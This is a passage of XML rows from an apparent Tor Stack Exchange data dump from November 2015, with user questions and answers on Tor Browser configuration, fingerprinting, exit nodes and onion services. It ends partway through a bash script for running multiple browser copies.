  <row Id="9032" PostTypeId="2" ParentId="9029" CreationDate="2015-11-16T15:54:06.633" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;--verify-config&lt;/code&gt; flag. (See the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor manual&lt;/a&gt; for more options.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you have to pass the flag to the Tor executable itself, rather than the &lt;code&gt;start-tor-browser&lt;/code&gt; script, which is probably what you're used to using to get things running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable is in the &lt;code&gt;tor-browser_en-US/Browser/TorBrowser/Tor/&lt;/code&gt; directory. The complete command to run on Linux would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor-browser_en-US/Browser/TorBrowser/Tor/tor --verify-config&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Windows equivalent would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.\Tor Browser\Browser\TorBrowser\Tor\tor.exe --verify-config | more&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;| more&lt;/code&gt; is required in Windows to workaround a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13819&quot; rel=&quot;nofollow&quot;&gt;bug&lt;/a&gt; that prevents console logs being output. (See this thread for more details: &lt;a href=&quot;https://tor.stackexchange.com/questions/6198/is-the-latest-tor-0-2-5-10-expert-bundle-broken/6199#6199&quot;&gt;Is the latest Tor-0.2.5.10 Expert Bundle broken?&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-11-16T21:58:27.170" LastActivityDate="2015-11-16T21:58:27.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostTypeId="2" ParentId="9023" CreationDate="2015-11-16T19:26:35.310" Score="2" Body="&lt;p&gt;You can just increment the Control and Socks ports by 1 for each additional instance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the third browser instance, the &lt;code&gt;ControlPort&lt;/code&gt; would be &lt;code&gt;9053&lt;/code&gt; and the &lt;code&gt;SocksPort&lt;/code&gt; would be &lt;code&gt;9153&lt;/code&gt;. For the fourth instance, they would be &lt;code&gt;9054&lt;/code&gt; and &lt;code&gt;9154&lt;/code&gt; respectively. And so on.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-16T19:26:35.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostTypeId="1" CreationDate="2015-11-17T06:25:31.687" Score="3" ViewCount="42" Body="&lt;p&gt;Today I looked at the Tor Metrics for the first time. I was surprised by the data on the number of direct users. It appears that the number of users has recently decreased by 50% in the past month. Below is a screenshot from &lt;a href=&quot;https://metrics.torproject.org/userstats-relay-country.html?graph=userstats-relay-country&amp;amp;start=2014-04-19&amp;amp;end=2015-11-17&amp;amp;country=all&amp;amp;events=off&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Metrics&lt;/a&gt;. Does anyone know what's causing this? This was my first time looking at Tor Metrics, so perhaps it's caused by delays in data gathering? Just curious.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ndMt8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndMt8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9932" LastActivityDate="2016-03-10T21:42:33.093" Title="Recent drop in Tor clients?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="1" CreationDate="2015-11-17T08:28:55.790" Score="0" ViewCount="139" Body="&lt;p&gt;I have vidalia control panel and I am using xampp in development. I cannot start xampp and vidalia. I think both are using port 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I configure them to  work with them together  without conflicts &lt;/p&gt;&#xA;" OwnerUserId="9935" LastActivityDate="2017-02-19T00:13:31.963" Title="What is the effect of changing relay port in vidalia control panel?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9040" PostTypeId="1" AcceptedAnswerId="9046" CreationDate="2015-11-17T18:12:34.423" Score="2" ViewCount="276" Body="&lt;p&gt;Add-ons like Flash and VLC and others are more obvious, and the general notion stands that &lt;em&gt;“any add-on is a risk to make your online fingerprint unique”&lt;/em&gt;, but I'd still like to think a simple Appearance add-on might be retained internal to the code (although I know that even the window size you surf with is broadcast, and makes you stand out from the crowd.  [Why on earth can't we override that window size value with a bland fake hard-coded value?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, so specifically, will adding my favorite ~”SuperFudgeChunkPurpleMonkey”~ Appearance add-on from Mozilla.org leak to every website I visit?  (Obviously I just made that name up, so don't go looking for it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also – I like to customize and drag the Onion and NoScript buttons to the right side, and remove the Search bar entirely because I habitually use the URL box itself.  May I assume that those three simple UI customizations are in no way exposed externally, making me a unique flower on the Internet horizon?&lt;/p&gt;&#xA;" OwnerUserId="9934" LastActivityDate="2016-02-28T14:53:36.060" Title="Are there Tor modifications that do NOT expose uniqueness?" Tags="|tor-browser-bundle|anonymity|deanonymization|fingerprinting|add-on|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9041" PostTypeId="1" CreationDate="2015-11-18T01:27:21.353" Score="1" ViewCount="199" Body="&lt;p&gt;I can't use Tor Browser. Keep getting a message that Tor needs to be restarted to reach websites. When I click the Restart Tor button, the same message box keeps coming back up. At the bottom of box there is a button to Copy Tor Log to Clipboard with an email for Tor support email addy. Also a Continue button. Nothing seems to work. Even after uninstalling and reinstalling, keep getting the same problems. I use a Mac with Mavericks OS. &#xA;Please, any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="9945" LastActivityDate="2015-11-18T01:27:21.353" Title="Can't Restart Tor" Tags="|mac|" AnswerCount="0" CommentCount="1" ClosedDate="2015-11-27T15:49:16.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="2" ParentId="4652" CreationDate="2015-11-18T01:56:06.963" Score="1" Body="&lt;p&gt;yes, it's possible, but you MUST use a separate box for it. I'm using Raspberry Pi 2 for this task, it performs pretty well. On your box you're not using anything unusual, and on the routing box you're using IPTables + TransPort Tor option. I'll complete my full article about this this week, but the brief config is :&#xA;&lt;code&gt;&#xA;RunAsDaemon 1&#xA;PidFile /var/run/tor&#xA;FastFirstHop 0&#xA;AllowSingleHopCircuits 0&#xA;EnforceDistinctSubnets 1&#xA;UseEntryGuards 1&#xA;DisableAllSwap 1&#xA;AvoidDiskWrites 1&#xA;NumCPUS 2&#xA;ConnLimit 8192&#xA;DataDirectory /usr/tor/data&#xA;GeoIPFile /usr/tor/share/tor/geoip&#xA;GeoIPv6File /usr/tor/share/tor/geoip6&#xA;Log notice stdout&#xA;SocksListenAddress 127.0.0.1&#xA;SocksPort 9050&#xA;LongLivedPorts 21,22,80,443,465,554,636,706,873,993,995,1863,2401,3690,4155,5050,5190,5222,5223,5269,5298,6523,6666,6667,6668,6669,6697,6881,6882,6883,6884,6885,6886,6887,6888,6889,7000,8000,8010,8300,8554&#xA;ClientOnly 0&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 127.0.0.1&#xA;DNSPort 53&#xA;DNSListenAddress 127.0.0.2&#xA;DisableDebuggerAttachment 0&#xA;DynamicDHGroups 1&#xA;User tor&#xA;&lt;/code&gt;&#xA;that was torrc, and in IPTables you're forwarding all the TCP traffic from your internal NIC to that TransPort. Do you need further help?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-18T01:56:06.963" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="2" ParentId="9040" CreationDate="2015-11-18T09:23:31.737" Score="1" Body="&lt;p&gt;It seems that using a simple appearance add-on will not increase the uniqueness of your browser fingerprint (unless it weirdly modified any of the items below). No, moving those UI items shouldn't affect anything either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Items contributing to uniqueness (&lt;a href=&quot;https://wiki.mozilla.org/Fingerprinting&quot; rel=&quot;nofollow&quot;&gt;https://wiki.mozilla.org/Fingerprinting&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;plugins&lt;/li&gt;&#xA;&lt;li&gt;fonts&lt;/li&gt;&#xA;&lt;li&gt;user agent&lt;/li&gt;&#xA;&lt;li&gt;http accept&lt;/li&gt;&#xA;&lt;li&gt;screen resolution&lt;/li&gt;&#xA;&lt;li&gt;timezone&lt;/li&gt;&#xA;&lt;li&gt;supercookies&lt;/li&gt;&#xA;&lt;li&gt;cookies&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That being said, if javascript is enabled it may be possible for it to query that information (I'm not sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read: &lt;a href=&quot;https://panopticlick.eff.org/browser-uniqueness.pdf&quot; rel=&quot;nofollow&quot;&gt;https://panopticlick.eff.org/browser-uniqueness.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9948" LastActivityDate="2015-11-18T09:23:31.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="1" AcceptedAnswerId="9060" CreationDate="2015-11-18T15:24:22.373" Score="1" ViewCount="1243" Body="&lt;p&gt;I've experienced difficulties connecting to Tor from eduroam.  Does eduroam block tor?  Would this be simply an artifact of the institution through which I tried to use eduroam?&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2015-11-19T07:37:13.550" Title="Does eduroam block tor?" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostTypeId="2" ParentId="6146" CreationDate="2015-11-18T19:35:59.133" Score="1" Body="&lt;p&gt;It is likely that one of the items you are trying to sync is causing the sync to fail.  You can check the log for an error which you get to by typing about:sync-log into the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative solution would be to backup all of your settings and import them into the Tor browser. To do this open your browser and press ctrl+shift+b, then locate &quot;Import and Backup&quot; near the top.&lt;/p&gt;&#xA;" OwnerUserId="9638" LastActivityDate="2015-11-18T19:35:59.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9050" PostTypeId="2" ParentId="6800" CreationDate="2015-11-18T19:45:08.457" Score="-1" Body="&lt;p&gt;You could be compromised, or not. You should uninstall what you have, and start from a new install of the Tor browser and see if that fixes any of your problems.&lt;/p&gt;&#xA;" OwnerUserId="9638" LastActivityDate="2015-11-18T19:45:08.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9051" PostTypeId="1" AcceptedAnswerId="9056" CreationDate="2015-11-18T20:00:33.677" Score="2" ViewCount="2552" Body="&lt;p&gt;I realize it's an important notice so that people understand what anonymity they may be giving up by performing the action, but if I'm on a website that I've more or less accepted, and maybe even created a login and posted on (like this website) then I've already given up an amount of personal information such that also giving my screen size seems a bit insignificant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The broadcast of my window size is something I'm not gong to forget.  Can I turn the incessant warning off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll just double-click on top bar to minimize again, if I want to leave this site and get back to &lt;em&gt;super-stealth-mode&lt;/em&gt; for additional surfing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at the current v.5.0.4.&lt;/p&gt;&#xA;" OwnerUserId="9934" LastActivityDate="2015-11-18T20:47:20.420" Title="Can I turn-OFF the warning that comes with maximizing the Tor window?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9052" PostTypeId="2" ParentId="6800" CreationDate="2015-11-18T20:10:03.550" Score="-1" Body="&lt;p&gt;90% that you are : Tor Browser Bundle is just a Firefox portable + Tor distro, and your browser seems to encounter a &quot;toolbar problem&quot;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-18T20:10:03.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostTypeId="2" ParentId="4711" CreationDate="2015-11-18T20:14:15.833" Score="1" Body="&lt;p&gt;Use Raspberry Pi 2 =) It will eat almost no electricity, but will hold Tor up 24/7/365 for you. And you will connect to it as a router, or even as a WiFi hotspot anytime you need it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-18T20:14:15.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9054" PostTypeId="2" ParentId="6800" CreationDate="2015-11-18T20:26:48.743" Score="1" Body="&lt;p&gt;The behaviour you're seeing is normal. There's nothing to worry about*. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Start Tor browser&quot; is the general Tor start-up script. (The file is named &lt;code&gt;start-tor-browser&lt;/code&gt;, and at least on Linux is a bog-standard shell script. If you're worried about it, you can actually just read the script to see what it does.) When you run the script, Tor starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a difference between &lt;strong&gt;New Identity&lt;/strong&gt; and &lt;strong&gt;New Circuit&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New Identity&lt;/strong&gt; will effectively restart the entire Tor Browser application from scratch, meaning it has to shut down the browser. It's not crashing. It's performing a graceful restart. &lt;strong&gt;This operation is scoped to the whole browser.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;New Circuit&lt;/strong&gt;, on the other hand, will create a new identity only for the tab that has focus. The other tabs aren't affected, and the entire browser doesn't need to be shut down. &lt;strong&gt;This operation is scoped to a specific tab&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time the OP posted the question (May 2015), it's possible the default search provider had just been updated to DuckDuckGo. It has since been changed again to Disconnect (Nov 2015).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*(That said, for piece of mind, I'd suggest deleting/re-installing, as another answer suggests.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-18T20:26:48.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9055" PostTypeId="1" AcceptedAnswerId="9736" CreationDate="2015-11-18T20:27:21.377" Score="3" ViewCount="531" Body="&lt;p&gt;I know that your window size can be captured by java scrips, and CSS, and who knows what else, and is used every day against you to try and isolate your online uniqueness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to always try to use F11 to remove what I think is all the excess noise in the UI, but I just realized that I may be 1 in 10,000 that does that all the time, or that does that in some kind of predictable way during sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is this mode of viewing broadcast at all?  To be clear, can it uniquely identify me ABOVE AND BEYOND the fact that I've already maximized my window by doing it, which itself broadcasts my &quot;unique&quot; screen size.  At that point does hitting Full Screen mode make any difference?&lt;/p&gt;&#xA;" OwnerUserId="9934" LastEditorUserId="9934" LastEditDate="2015-12-19T07:04:29.010" LastActivityDate="2016-03-03T16:32:02.937" Title="Can using F11 “Full Screen” be captured by websites?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9056" PostTypeId="2" ParentId="9051" CreationDate="2015-11-18T20:44:20.093" Score="4" Body="&lt;p&gt;Type: &lt;code&gt;About:config&lt;/code&gt; in the address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for the string: &#xA;&lt;code&gt;extensions.torbutton.maximize_warnings_remaining&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right-click it, and select 'edit', set the value to '0',&#xA;it will then list the parameter as 'user set',&#xA;next time you start tor browser and maximize it - it will not show the warning.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-11-18T20:44:20.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="1" CreationDate="2015-11-18T23:15:39.140" Score="1" ViewCount="55" Body="&lt;p&gt;From what I can read in this recent post in the &lt;a href=&quot;https://blog.torproject.org/blog/nine-questions-about-hidden-services&quot; rel=&quot;nofollow&quot;&gt;Tor blog&lt;/a&gt;, Hidden Services use one single guard, just as regular clients do. How does this affect the performance of hidden services? I know that since the single-guard proposal was implemented, the conditions on bandwidth that a node has to satisfy for becoming a guard are much stricter than before. However, for hidden services such as Facebook's, it seems that despite the load-balancing at the web server, the guard could become the bottleneck. Is there any analysis done on this?&lt;/p&gt;&#xA;" OwnerUserId="559" LastActivityDate="2015-11-18T23:15:39.140" Title="Performance issues in single guard for hidden services" Tags="|onion-services|guard-node|performance|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostTypeId="2" ParentId="9048" CreationDate="2015-11-19T07:37:13.550" Score="2" Body="&lt;p&gt;The problem is likely caused by the institution you are connecting to, and not eduroam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never used eduroam (nor heard of it before this post), but after viewing their documentation it appears they only integrate with other institutions for RADIUS authentication (&lt;a href=&quot;https://www.eduroam.us/node/10&quot; rel=&quot;nofollow&quot;&gt;https://www.eduroam.us/node/10&lt;/a&gt;). Meaning they really only care about figuring out if you belong on their network or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you are authenticated your traffic is controlled by the institution you are at.&lt;/p&gt;&#xA;" OwnerUserId="9948" LastActivityDate="2015-11-19T07:37:13.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="1" AcceptedAnswerId="23036" CreationDate="2015-11-19T09:08:12.593" Score="2" ViewCount="168" Body="&lt;p&gt;I'm actually in a country that blocks many services:&#xA;the only way to access them is tor (or use VPN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to use tor is obfsproxy bridges or meek.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, both the options are very unstable/slow ...&#xA;... so I wonder if it is possible to use them together in order to improve performance.&lt;/p&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="9638" LastEditDate="2015-11-21T13:51:18.483" LastActivityDate="2022-02-02T20:44:39.920" Title="Is it possible to use obfsproxy bridges and Meek bridges together?" Tags="|pluggable-transports|obfsproxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9063" PostTypeId="1" AcceptedAnswerId="9076" CreationDate="2015-11-19T13:38:13.190" Score="1" ViewCount="49" Body="&lt;p&gt;I'd like to use Tor for all internet connections on my Mac. Therefore I'm hunting for an App which enables me to configure my Mac's internet connection globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I've found till now is, that this is not possible and/or not secure and I'll have to use the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't see why this shouldn't work or sould be more unsecure? And I'm wondering if you using such an App right now and if, which one?&lt;/p&gt;&#xA;" OwnerUserId="9959" LastActivityDate="2015-11-20T17:32:01.330" Title="Is there a OSX system app out there enabling me to use Tor as the only internet connection?" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostTypeId="1" AcceptedAnswerId="9067" CreationDate="2015-11-19T15:20:24.140" Score="3" ViewCount="223" Body="&lt;p&gt;I'm trying to look like I am coming from a small country, and when I do that, no matter how many times I press &quot;New Tor circuit for this site&quot;, my final, exit IP stays the same. Why does this happen?&#xA;Can I have dynamic IP but from a certain country?&lt;/p&gt;&#xA;" OwnerUserId="9949" LastEditorUserId="350" LastEditDate="2015-11-19T20:09:53.663" LastActivityDate="2015-11-23T16:27:08.783" Title="If I select specific country exit nodes, why is IP not dynamic anymore?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9065" PostTypeId="1" CreationDate="2015-11-19T16:15:59.637" Score="7" ViewCount="4202" Body="&lt;p&gt;I was surfing and the Tor Browser suddenly closed. Now when I restart it (latest version 5.0.4 Mac) it gives me a screen to &lt;strong&gt;Restart Tor&lt;/strong&gt; and at bottom of page are &lt;strong&gt;Quit&lt;/strong&gt;, &lt;strong&gt;Copy Tor Log to Clipboard&lt;/strong&gt;, and &lt;strong&gt;Continue&lt;/strong&gt; buttons.&#xA;I've tried to paste the log into an email message but nothing has been copied to Clipboard. &lt;strong&gt;When Restart Tor&lt;/strong&gt; is clicked, it simply refreshes the same page.After several attempts at that I get a small box saying &lt;strong&gt;Tor Launcher&lt;/strong&gt; not successful.&#xA;When click &lt;strong&gt;Continue&lt;/strong&gt; nothing happens.&#xA;Anyway, checked Activity Monitor which told me that a file or process called &lt;strong&gt;tor.real&lt;/strong&gt; has been running constantly since this trouble started. When the computer is awake, this process runs even though Tor Browser is off. What's going on?&#xA;Please help..&#xA;Steve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried to reinstall it, but same thing.&lt;/p&gt;&#xA;" OwnerUserId="9945" LastEditorUserId="350" LastEditDate="2015-12-19T19:31:47.433" LastActivityDate="2017-06-12T06:53:16.773" Title="Tor.real and problems restarting Tor" Tags="|tor-browser-bundle|help|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostTypeId="2" ParentId="9065" CreationDate="2015-11-19T17:56:08.157" Score="2" Body="&lt;p&gt;tor.real is the actual Tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, Tor Browser starts 'tor.real' on launch and kills it again when you quit the browser. When your Tor Browser crashed, it didn't kill tor.real. Now when you start Tor Browser, it tries to start tor.real, but it can't because one is already running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to manually kill tor.real either from activity monitor or in a terminal. After that, you should be able to launch Tor Browser again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The same thing happened to me once while updating the Tor Browser.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-19T17:56:08.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostTypeId="2" ParentId="9064" CreationDate="2015-11-19T18:12:24.003" Score="3" Body="&lt;p&gt;It is possible that this small country only has one exit node. Or only one exit node with an exit policy that allows what you're doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By choosing a country with only one exit, you restrict your possible exits to a set of only one, so every circuit you build will use this one exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to the bottom of this page: &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt; you can:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sort Router Listing By: Country code  &lt;/li&gt;&#xA;&lt;li&gt;Sort Order: Ascending&lt;/li&gt;&#xA;&lt;li&gt;Bad Exit, Hibernating: No&lt;/li&gt;&#xA;&lt;li&gt;Exit, Running, Valid: Yes&lt;/li&gt;&#xA;&lt;li&gt;Apply Options  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That will show you all good exits by country.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2015-11-23T16:27:08.783" LastActivityDate="2015-11-23T16:27:08.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="1" CreationDate="2015-11-19T20:16:17.307" Score="1" ViewCount="30" Body="&lt;p&gt;Assuming a standard Win7 machine with Firefox and Tor, all auto-updated.  Firefox has VLC, Silverlight, Acrobat, and OpenH264 plugins, but also locked down a tiny-bit with NoScript, HTTPS everywhere, Adblock Plus, Ghostery – basically nothing to do with privacy and all about not seeing ads.  Two different tools.  Two different purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you are looking at a website – let's say TheGuardian – and you have a Firefox session and also a Tor session running – both through your VPN (not that that matters for the purposes of this, I don't think.)  So ostensibly the Tor session is obscured and coming out at an IP in a completely different country, maybe.  Whereas your Firefox is the IP of your VPN, at the location of your choosing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just curious if standard common (if there even is such a thing) de-duping software/methods can more or less identify that these two sessions are coming from the same machine/person.  I'd be showing the same screen size (maximized) on a standard Lenovo laptop or whatever, so the same exact machine information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not trying to fake governments out, or foil “adversaries” who have access to my line as such: I'm just curious if countless website analytics managers are smirking at my lame-butt attempt at being a different person on the same machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously if I boot up Tails/Tor on another machine, I'm going to very much look more like a completely different person, and just have two different laptops hitting the same website, but I'm curious about the &lt;em&gt;“1 in 10,000”&lt;/em&gt; type of metric that could be assigned to the two sessions running on the same machine as explained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not inviting speculation as much as curious if any kind of study has been performed on this exact scenario, pretty common I should think, as I imagine this is exactly the kind of thing countless companies/agencies urgently seek to de-dupe.&lt;/p&gt;&#xA;" OwnerUserId="9934" LastActivityDate="2015-11-19T20:16:17.307" Title="Can Firefox &amp; Tor (on the same machine) be *seen* as the same machine?" Tags="|tor-browser-bundle|anonymity|deanonymization|fingerprinting|" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-21T17:42:15.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="1" AcceptedAnswerId="9075" CreationDate="2015-11-20T00:19:20.997" Score="3" ViewCount="2376" Body="&lt;p&gt;I was reading this article &quot;&lt;a href=&quot;https://blog.torproject.org/blog/nine-questions-about-hidden-services&quot; rel=&quot;nofollow&quot;&gt;Nine Questions about Hidden Services&lt;/a&gt;&quot;. It's an interview with an individual who develops hidden services for Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the questions (#4) is &quot;Do you run an onion service yourself?&quot; and part of the developers response to this is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, onion services have a property called NAT-punching; (NAT=Network&#xA;  Address Translation). NAT blocks incoming connections;it builds walls&#xA;  around you. Onion services have NAT punching and can penetrate a&#xA;  firewall. In my university campus, the firewall does not allow&#xA;  incoming connections to my SSH server, but with an onion service the&#xA;  firewall is irrelevant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I am interested about the claim that an onion service can penetrate a firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the developers answer, it seems to me that he is talking about a situation where we have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Server A. This one is on an internal network and runs a Tor hidden&#xA;service.&lt;/li&gt;&#xA;&lt;li&gt;Server B. This one runs a firewall that controls access between the&#xA;internet and Server A.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Based on that the developer says that the firewall is &quot;irrelevant&quot;, it seems like &lt;em&gt;regardless of the settings on the firewall&lt;/em&gt;, the Tor service can be accessed through the internet. To me this seems ridiculous but maybe I am wrong in something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions I wanted to ask:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it true that the Tor service can bypass a firewall, and if yes,&#xA;why is that?&lt;/li&gt;&#xA;&lt;li&gt;If the Tor service can bypass a firewall, how can that be mitigated?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user9964" LastEditorUserId="350" LastEditDate="2015-11-20T18:31:06.367" LastActivityDate="2015-11-20T18:31:06.367" Title="Can a client accessing a Tor service bypass a firewall, and if so, why is it possible?" Tags="|onion-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="1" CreationDate="2015-11-20T04:52:18.013" Score="1" ViewCount="203" Body="&lt;p&gt;I found this  script  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;usage() { echo &quot;Usage: $0 [-n &amp;lt;number of copies&amp;gt;] [-p &amp;lt;path to default TBB&amp;gt;]&quot; 1&amp;gt;&amp;amp;2; exit 1; }&#xA;&#xA;print_userjs(){&#xA;  local socksport=${1}&#xA;  local controlport=${2}&#xA;  local dest=${3}&#xA;  echo &quot;user_pref(\&quot;extensions.torlauncher.control_port\&quot;,$controlport);&quot; &amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.custom.socks_port\&quot;,$socksport);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.custom.socks_host\&quot;,\&quot;127.0.0.1\&quot;);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.proxies_applied\&quot;,false);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;extensions.torbutton.use_privoxy\&quot;,false);&quot; &amp;gt;&amp;gt; $dest&#xA;  echo &quot;user_pref(\&quot;network.proxy.socks_port\&quot;,$socksport);&quot; &amp;gt;&amp;gt; $dest&#xA;}&#xA;&#xA;while getopts &quot;:n:p:&quot; o; do&#xA;  case &quot;${o}&quot; in&#xA;    n)&#xA;      n=${OPTARG}&#xA;      ;;&#xA;    p)&#xA;      p=${OPTARG}&#xA;      ;;&#xA;    